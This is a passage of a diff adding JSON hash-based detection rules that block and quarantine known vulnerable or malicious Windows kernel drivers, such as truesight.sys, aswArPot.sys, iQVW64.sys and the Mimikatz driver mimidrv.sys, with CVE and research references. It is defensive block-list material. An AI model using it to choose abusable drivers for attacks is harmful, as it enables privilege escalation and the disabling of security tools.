+  "value": "8d6c7f8db8ad3c06a87a909582b3d57fd2c4610dfb29dd84a682a58522baa7bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "913cf8a3-0d0a-5a10-b354-48d3861cc0da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480301Z",
+  "creation_date": "2026-03-23T11:45:31.480305Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480315Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23bfa2f2b253cacd504bf7141aacf95542508138eaaf11552f33e914b098c9cb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "91555588-79da-56ca-99f9-eba95eea2ba5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816707Z",
+  "creation_date": "2026-03-23T11:45:31.816710Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816718Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd0052710de851fdb5d8f0fa875ac925f026b13b888c2439f3fd9038932f85ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9156020e-a274-5d99-8854-4d6a9478f5aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488943Z",
+  "creation_date": "2026-03-23T11:45:31.488945Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488958Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "423eda2ea7f8197dc85633096f4b005c608a049185907d454efe559d6788eeb2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "916fff25-1937-5bdf-8560-8c46ee17d94c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478317Z",
+  "creation_date": "2026-03-23T11:45:30.478320Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478329Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d998ea6d0051e17c1387c9f295b1c79bacb2f61c23809903445f60313d36c7fd",
+  "comment": "Vulnerable Kernel Driver (aka vboxdrv.sys) [https://www.loldrivers.io/drivers/2da3a276-9e38-4ee6-903d-d15f7c355e7c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "917065f7-dec3-5521-b073-5c1067c35c6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825102Z",
+  "creation_date": "2026-03-23T11:45:30.825106Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825115Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48ea9d497622facdf3b510c351059b2a9bedb0863dca334baa1ca70fdab985f3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "917ebf99-a250-562a-b29e-89464db134fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818243Z",
+  "creation_date": "2026-03-23T11:45:30.818245Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818250Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18047c2d45758a43d6b7e56bcd4aa90354c899795baf944f037850c48d8e892a",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "919513ef-f647-52a4-ba39-c74fcb02e25f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143750Z",
+  "creation_date": "2026-03-23T11:45:31.143754Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "898fcc32c0c37991f8d4322f24a33c1f39fd73b992d5f70c7393e9b870e46be6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9195dd54-7122-5e27-a305-a55aed05cc05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968970Z",
+  "creation_date": "2026-03-23T11:45:29.968972Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968977Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d43769b353d63093228a59eb19bba87ce6b552d7e1a99bf34a54eee641aa0ea",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "919f386d-2cc9-5197-8489-dfff36a6f490",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143492Z",
+  "creation_date": "2026-03-23T11:45:31.143494Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143500Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bbe054c92229e0ddbdf7938d63488f95259f9fe7e67a216d1e6ce98bcbd10a4c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "91b2498a-1f99-59cc-9823-a4dbe564ebd4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467239Z",
+  "creation_date": "2026-03-23T11:45:30.467242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467251Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e37671575137d4e726efe2cfb730455bfcc5c08d553330dc68840ce8f7c63280",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "91c3b556-41bc-52b8-b2e6-71c0a5053403",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475016Z",
+  "creation_date": "2026-03-23T11:45:30.475020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475028Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55054ac1fab3b2fb370640035d50d00ae41775c45a16d0737a11cef1da48faff",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "91c9ccd6-d970-539d-a801-3d06b0290aa6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972226Z",
+  "creation_date": "2026-03-23T11:45:29.972229Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972238Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee625d1910f91fc9e79237bd60b0ee5efb85c7f859922f30e4434db6cd50fa9b",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "91db4c1a-0b1a-5124-8ac6-4e3b4c811f0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140907Z",
+  "creation_date": "2026-03-23T11:45:31.140909Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140915Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ed3d20dba43947d133ffebe08eb9caf0ca0ad822929af6e3fa9c427fd3dba03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "91e6480f-a4b4-5263-bc8d-642f594bc441",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615537Z",
+  "creation_date": "2026-03-23T11:45:29.615539Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615544Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ef80a6b63766ca36e2f2a7d29c49dc5859a58604bd8fde15011d8c379f76e01",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "91e709da-f699-50d7-afc6-87c9d5da2abc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469131Z",
+  "creation_date": "2026-03-23T11:45:30.469134Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469144Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c068b3c86f5776e9a26680952de22e156ec9700d9c1810e5fd344c994d50419",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "91f1af97-5f41-539c-a3e6-1d00ce99e5df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834270Z",
+  "creation_date": "2026-03-23T11:45:30.834273Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834281Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "940cd600f3a673f646ab309e9d5f916d8071053f3b4b2cb078f3e2af3f9e887e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "91f6c5ec-a8ae-5e8e-ac5a-002cf5d5acab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452341Z",
+  "creation_date": "2026-03-23T11:45:30.452344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "743302af4224d5f44489290c01391c03b928126d726b72e7602fe5760e6d9519",
+  "comment": "Vulnerable Kernel Driver (aka phydmaccx64.sys) [https://www.loldrivers.io/drivers/96c8fe71-3acc-41bc-9402-ebd69a961d74/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9200d4ca-f255-598c-8d67-6c5906a24f4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971597Z",
+  "creation_date": "2026-03-23T11:45:29.971599Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971604Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b529550e8d2ec6133be50d7139179654301ff84ba09da0cd256c5dec924a185c",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "920b2e91-578b-53ae-8b73-3665e05db90c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810750Z",
+  "creation_date": "2026-03-23T11:45:31.810752Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810758Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90c21147369071ed5a602577047866b8e752a25fc26e47459b3ef907f5cd0bfc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "920ff94f-7482-5884-afe7-594aef5fdedb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822246Z",
+  "creation_date": "2026-03-23T11:45:30.822248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822253Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f4647364210b9ec997483f9a707a733c4e1b59263c1046301dee90890273f34",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "922128af-2b93-5147-89d4-01d31de02675",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816344Z",
+  "creation_date": "2026-03-23T11:45:31.816348Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816380Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12017d1a1f91ae937850d8e4314f892125491f60893ee3f7de46c76edbb7b2d8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "922288eb-9c60-5443-ada1-0091e78f03ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144921Z",
+  "creation_date": "2026-03-23T11:45:32.144923Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144929Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "290bc7822da41f0b5580b27c8d14a2a5c3fbe3e4b6921957b134efc6beeb0aeb",
+  "comment": "Malicious Kernel Driver (aka driver_290bc782.sys) [https://www.loldrivers.io/drivers/f5c1a46f-21e6-4b06-b212-2dc55b699497/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9224f3a4-8c72-5a3b-b2bc-67e05a072ae3",
